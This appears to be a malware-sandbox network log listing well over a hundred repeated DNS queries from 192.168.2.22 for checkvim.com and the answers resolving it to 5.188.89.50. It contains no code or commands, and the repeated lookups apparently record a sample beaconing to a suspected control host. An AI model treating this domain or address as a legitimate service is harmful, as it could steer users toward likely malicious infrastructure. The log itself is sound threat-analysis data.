Sep 28, 2021 06:50:38.872611046 CEST	192.168.2.22	8.8.8.8	0x6d9b	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:39.543977022 CEST	192.168.2.22	8.8.8.8	0x1dd	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:40.224781036 CEST	192.168.2.22	8.8.8.8	0xc75b	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:40.868150949 CEST	192.168.2.22	8.8.8.8	0xb758	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:41.540992975 CEST	192.168.2.22	8.8.8.8	0x573	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:42.207612038 CEST	192.168.2.22	8.8.8.8	0x47cd	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:42.861419916 CEST	192.168.2.22	8.8.8.8	0x2585	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:43.562501907 CEST	192.168.2.22	8.8.8.8	0xe128	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:44.223608017 CEST	192.168.2.22	8.8.8.8	0x7c94	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:44.894368887 CEST	192.168.2.22	8.8.8.8	0x22e6	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:45.510138988 CEST	192.168.2.22	8.8.8.8	0xaf08	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:46.159521103 CEST	192.168.2.22	8.8.8.8	0xe7ed	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:46.836015940 CEST	192.168.2.22	8.8.8.8	0xb5d5	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:47.470155001 CEST	192.168.2.22	8.8.8.8	0x4469	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:48.125072002 CEST	192.168.2.22	8.8.8.8	0x27fc	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:48.797341108 CEST	192.168.2.22	8.8.8.8	0x27af	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:49.456911087 CEST	192.168.2.22	8.8.8.8	0x5bcc	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:50.103096962 CEST	192.168.2.22	8.8.8.8	0x584d	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:50.736572981 CEST	192.168.2.22	8.8.8.8	0x7e52	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:51.573493958 CEST	192.168.2.22	8.8.8.8	0xc11	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:52.347374916 CEST	192.168.2.22	8.8.8.8	0x54a8	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:53.273158073 CEST	192.168.2.22	8.8.8.8	0x1a9b	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:53.927613974 CEST	192.168.2.22	8.8.8.8	0xedb1	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:54.591924906 CEST	192.168.2.22	8.8.8.8	0xdf9e	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:55.214793921 CEST	192.168.2.22	8.8.8.8	0x113e	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:55.894778967 CEST	192.168.2.22	8.8.8.8	0x8cc3	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:56.533139944 CEST	192.168.2.22	8.8.8.8	0xbae2	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:57.189132929 CEST	192.168.2.22	8.8.8.8	0xf818	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:57.797666073 CEST	192.168.2.22	8.8.8.8	0x90bc	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:58.491209030 CEST	192.168.2.22	8.8.8.8	0xd685	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:59.137286901 CEST	192.168.2.22	8.8.8.8	0x2384	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:59.792362928 CEST	192.168.2.22	8.8.8.8	0xfc87	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:00.442684889 CEST	192.168.2.22	8.8.8.8	0xd67a	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:01.097755909 CEST	192.168.2.22	8.8.8.8	0xa7e8	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:01.767754078 CEST	192.168.2.22	8.8.8.8	0xd14	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:02.415457010 CEST	192.168.2.22	8.8.8.8	0x916f	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:03.058557987 CEST	192.168.2.22	8.8.8.8	0xbbb4	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:03.716505051 CEST	192.168.2.22	8.8.8.8	0x3d1	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:04.366527081 CEST	192.168.2.22	8.8.8.8	0xe82e	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:04.998681068 CEST	192.168.2.22	8.8.8.8	0x5705	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:05.614173889 CEST	192.168.2.22	8.8.8.8	0x3e25	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:06.227550030 CEST	192.168.2.22	8.8.8.8	0x70b4	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:06.860356092 CEST	192.168.2.22	8.8.8.8	0x7f95	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:07.506026983 CEST	192.168.2.22	8.8.8.8	0x7633	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:08.143147945 CEST	192.168.2.22	8.8.8.8	0x264c	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:08.750855923 CEST	192.168.2.22	8.8.8.8	0x3cd3	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:09.357036114 CEST	192.168.2.22	8.8.8.8	0xa48d	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:09.988940001 CEST	192.168.2.22	8.8.8.8	0xde0e	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:10.594608068 CEST	192.168.2.22	8.8.8.8	0xb4f5	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:11.237409115 CEST	192.168.2.22	8.8.8.8	0x8c7b	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:11.828600883 CEST	192.168.2.22	8.8.8.8	0xab7b	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:12.454752922 CEST	192.168.2.22	8.8.8.8	0x7ce5	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:13.094235897 CEST	192.168.2.22	8.8.8.8	0x7348	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:13.729536057 CEST	192.168.2.22	8.8.8.8	0xba52	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:14.335000992 CEST	192.168.2.22	8.8.8.8	0x23e2	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:14.965274096 CEST	192.168.2.22	8.8.8.8	0x4ed0	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:15.632652044 CEST	192.168.2.22	8.8.8.8	0xd6d7	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:16.251604080 CEST	192.168.2.22	8.8.8.8	0x76b5	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:16.858936071 CEST	192.168.2.22	8.8.8.8	0x4a4d	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:17.496031046 CEST	192.168.2.22	8.8.8.8	0x65ee	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:18.093348026 CEST	192.168.2.22	8.8.8.8	0x718b	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:18.739155054 CEST	192.168.2.22	8.8.8.8	0x83b4	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:19.352169037 CEST	192.168.2.22	8.8.8.8	0x62c8	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:19.994096041 CEST	192.168.2.22	8.8.8.8	0xb755	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:20.643477917 CEST	192.168.2.22	8.8.8.8	0xdbbb	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:21.261858940 CEST	192.168.2.22	8.8.8.8	0x2fbe	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:21.888906002 CEST	192.168.2.22	8.8.8.8	0xccbe	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:22.516736984 CEST	192.168.2.22	8.8.8.8	0x113e	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:23.168349028 CEST	192.168.2.22	8.8.8.8	0xe199	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:23.780982018 CEST	192.168.2.22	8.8.8.8	0x3f8	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:24.422507048 CEST	192.168.2.22	8.8.8.8	0x4107	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:25.031002998 CEST	192.168.2.22	8.8.8.8	0x74ac	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:25.657380104 CEST	192.168.2.22	8.8.8.8	0xe2b	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:26.291126966 CEST	192.168.2.22	8.8.8.8	0xa16a	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:26.962842941 CEST	192.168.2.22	8.8.8.8	0x9490	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:27.583534002 CEST	192.168.2.22	8.8.8.8	0xc414	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:28.176142931 CEST	192.168.2.22	8.8.8.8	0x7ac6	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:28.790585995 CEST	192.168.2.22	8.8.8.8	0x132c	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:29.391048908 CEST	192.168.2.22	8.8.8.8	0x4a40	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:30.007622957 CEST	192.168.2.22	8.8.8.8	0xce0a	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:30.622982025 CEST	192.168.2.22	8.8.8.8	0x26a4	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:31.258003950 CEST	192.168.2.22	8.8.8.8	0xfbb5	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:31.890103102 CEST	192.168.2.22	8.8.8.8	0xfb02	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:32.550587893 CEST	192.168.2.22	8.8.8.8	0x7463	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:33.157046080 CEST	192.168.2.22	8.8.8.8	0x214e	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:33.804022074 CEST	192.168.2.22	8.8.8.8	0x4df1	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:34.427304983 CEST	192.168.2.22	8.8.8.8	0xdb50	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:35.052763939 CEST	192.168.2.22	8.8.8.8	0x2a25	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:35.669967890 CEST	192.168.2.22	8.8.8.8	0x64fe	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:36.321048021 CEST	192.168.2.22	8.8.8.8	0x785	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:36.957783937 CEST	192.168.2.22	8.8.8.8	0xbf3c	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:37.564486980 CEST	192.168.2.22	8.8.8.8	0x3eea	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:38.208432913 CEST	192.168.2.22	8.8.8.8	0xfb53	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:38.829217911 CEST	192.168.2.22	8.8.8.8	0xeff0	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:39.452426910 CEST	192.168.2.22	8.8.8.8	0x2267	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:40.416774988 CEST	192.168.2.22	8.8.8.8	0x97df	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:41.019485950 CEST	192.168.2.22	8.8.8.8	0x7445	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:41.626322031 CEST	192.168.2.22	8.8.8.8	0x83b1	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:42.283423901 CEST	192.168.2.22	8.8.8.8	0x1e7f	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:42.907963991 CEST	192.168.2.22	8.8.8.8	0x8815	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:43.508258104 CEST	192.168.2.22	8.8.8.8	0xe640	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:44.127722025 CEST	192.168.2.22	8.8.8.8	0x2d16	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:44.765714884 CEST	192.168.2.22	8.8.8.8	0x716f	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:45.401850939 CEST	192.168.2.22	8.8.8.8	0xc08	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:46.009896040 CEST	192.168.2.22	8.8.8.8	0x6cea	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:46.632900000 CEST	192.168.2.22	8.8.8.8	0x30ea	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:47.259546041 CEST	192.168.2.22	8.8.8.8	0x1d51	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:47.895335913 CEST	192.168.2.22	8.8.8.8	0x6008	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:48.521167040 CEST	192.168.2.22	8.8.8.8	0xd582	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:49.163410902 CEST	192.168.2.22	8.8.8.8	0xb3ea	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:49.793617010 CEST	192.168.2.22	8.8.8.8	0xbbd0	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:50.409174919 CEST	192.168.2.22	8.8.8.8	0x21ce	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:51.076284885 CEST	192.168.2.22	8.8.8.8	0x5fe2	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:51.765100002 CEST	192.168.2.22	8.8.8.8	0xcfa8	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:52.385508060 CEST	192.168.2.22	8.8.8.8	0x46c7	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:53.012155056 CEST	192.168.2.22	8.8.8.8	0xc0b8	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:53.635257959 CEST	192.168.2.22	8.8.8.8	0x8d66	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:54.247356892 CEST	192.168.2.22	8.8.8.8	0xa872	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:54.878504038 CEST	192.168.2.22	8.8.8.8	0xaaac	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:55.483758926 CEST	192.168.2.22	8.8.8.8	0xff5e	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:56.264363050 CEST	192.168.2.22	8.8.8.8	0x37ed	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:56.878813028 CEST	192.168.2.22	8.8.8.8	0xff2f	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:57.643562078 CEST	192.168.2.22	8.8.8.8	0xd3e9	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:58.263293982 CEST	192.168.2.22	8.8.8.8	0x75c9	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:58.883229017 CEST	192.168.2.22	8.8.8.8	0x7d4a	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:59.524702072 CEST	192.168.2.22	8.8.8.8	0xae13	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:00.126727104 CEST	192.168.2.22	8.8.8.8	0xc359	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:00.767751932 CEST	192.168.2.22	8.8.8.8	0x13b0	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:01.459906101 CEST	192.168.2.22	8.8.8.8	0xc0fe	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:02.086131096 CEST	192.168.2.22	8.8.8.8	0x3493	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:02.770040989 CEST	192.168.2.22	8.8.8.8	0x4ff9	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:03.436384916 CEST	192.168.2.22	8.8.8.8	0x3405	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:04.040453911 CEST	192.168.2.22	8.8.8.8	0x9b70	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Sep 28, 2021 06:50:29.499205112 CEST	8.8.8.8	192.168.2.22	0xe7f9	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:30.158834934 CEST	8.8.8.8	192.168.2.22	0xa67b	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:30.708821058 CEST	8.8.8.8	192.168.2.22	0x3958	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:31.417036057 CEST	8.8.8.8	192.168.2.22	0x5f12	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:33.511215925 CEST	8.8.8.8	192.168.2.22	0x9ca6	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:36.260610104 CEST	8.8.8.8	192.168.2.22	0xe8f3	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:36.909889936 CEST	8.8.8.8	192.168.2.22	0x1942	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:37.536830902 CEST	8.8.8.8	192.168.2.22	0xca69	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:38.180830956 CEST	8.8.8.8	192.168.2.22	0x120b	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:38.891587973 CEST	8.8.8.8	192.168.2.22	0x6d9b	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:39.563527107 CEST	8.8.8.8	192.168.2.22	0x1dd	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:40.244230032 CEST	8.8.8.8	192.168.2.22	0xc75b	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:40.888323069 CEST	8.8.8.8	192.168.2.22	0xb758	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:41.560283899 CEST	8.8.8.8	192.168.2.22	0x573	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:42.224773884 CEST	8.8.8.8	192.168.2.22	0x47cd	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:42.881131887 CEST	8.8.8.8	192.168.2.22	0x2585	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:43.582062006 CEST	8.8.8.8	192.168.2.22	0xe128	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:44.243088961 CEST	8.8.8.8	192.168.2.22	0x7c94	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:44.913645983 CEST	8.8.8.8	192.168.2.22	0x22e6	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:45.527900934 CEST	8.8.8.8	192.168.2.22	0xaf08	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:46.180366993 CEST	8.8.8.8	192.168.2.22	0xe7ed	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:46.855447054 CEST	8.8.8.8	192.168.2.22	0xb5d5	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:47.487868071 CEST	8.8.8.8	192.168.2.22	0x4469	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:48.142239094 CEST	8.8.8.8	192.168.2.22	0x27fc	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:48.814738035 CEST	8.8.8.8	192.168.2.22	0x27af	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:49.475914955 CEST	8.8.8.8	192.168.2.22	0x5bcc	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:50.121701002 CEST	8.8.8.8	192.168.2.22	0x584d	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:50.756259918 CEST	8.8.8.8	192.168.2.22	0x7e52	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:51.593106031 CEST	8.8.8.8	192.168.2.22	0xc11	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:52.364711046 CEST	8.8.8.8	192.168.2.22	0x54a8	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:53.292803049 CEST	8.8.8.8	192.168.2.22	0x1a9b	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:53.947679043 CEST	8.8.8.8	192.168.2.22	0xedb1	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:54.610177994 CEST	8.8.8.8	192.168.2.22	0xdf9e	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:55.233603954 CEST	8.8.8.8	192.168.2.22	0x113e	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:55.914731026 CEST	8.8.8.8	192.168.2.22	0x8cc3	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:56.553797007 CEST	8.8.8.8	192.168.2.22	0xbae2	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:57.208435059 CEST	8.8.8.8	192.168.2.22	0xf818	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:57.814928055 CEST	8.8.8.8	192.168.2.22	0x90bc	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:58.513585091 CEST	8.8.8.8	192.168.2.22	0xd685	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:59.156528950 CEST	8.8.8.8	192.168.2.22	0x2384	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:59.811640024 CEST	8.8.8.8	192.168.2.22	0xfc87	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:00.464709044 CEST	8.8.8.8	192.168.2.22	0xd67a	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:01.118602991 CEST	8.8.8.8	192.168.2.22	0xa7e8	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:01.787070036 CEST	8.8.8.8	192.168.2.22	0xd14	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:02.437361002 CEST	8.8.8.8	192.168.2.22	0x916f	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:03.081188917 CEST	8.8.8.8	192.168.2.22	0xbbb4	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:03.737246037 CEST	8.8.8.8	192.168.2.22	0x3d1	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:04.384134054 CEST	8.8.8.8	192.168.2.22	0xe82e	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:05.019469976 CEST	8.8.8.8	192.168.2.22	0x5705	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:05.631485939 CEST	8.8.8.8	192.168.2.22	0x3e25	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:06.246737957 CEST	8.8.8.8	192.168.2.22	0x70b4	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:06.881524086 CEST	8.8.8.8	192.168.2.22	0x7f95	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:07.525409937 CEST	8.8.8.8	192.168.2.22	0x7633	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:08.162851095 CEST	8.8.8.8	192.168.2.22	0x264c	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:08.768567085 CEST	8.8.8.8	192.168.2.22	0x3cd3	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:09.376465082 CEST	8.8.8.8	192.168.2.22	0xa48d	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:10.008641958 CEST	8.8.8.8	192.168.2.22	0xde0e	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
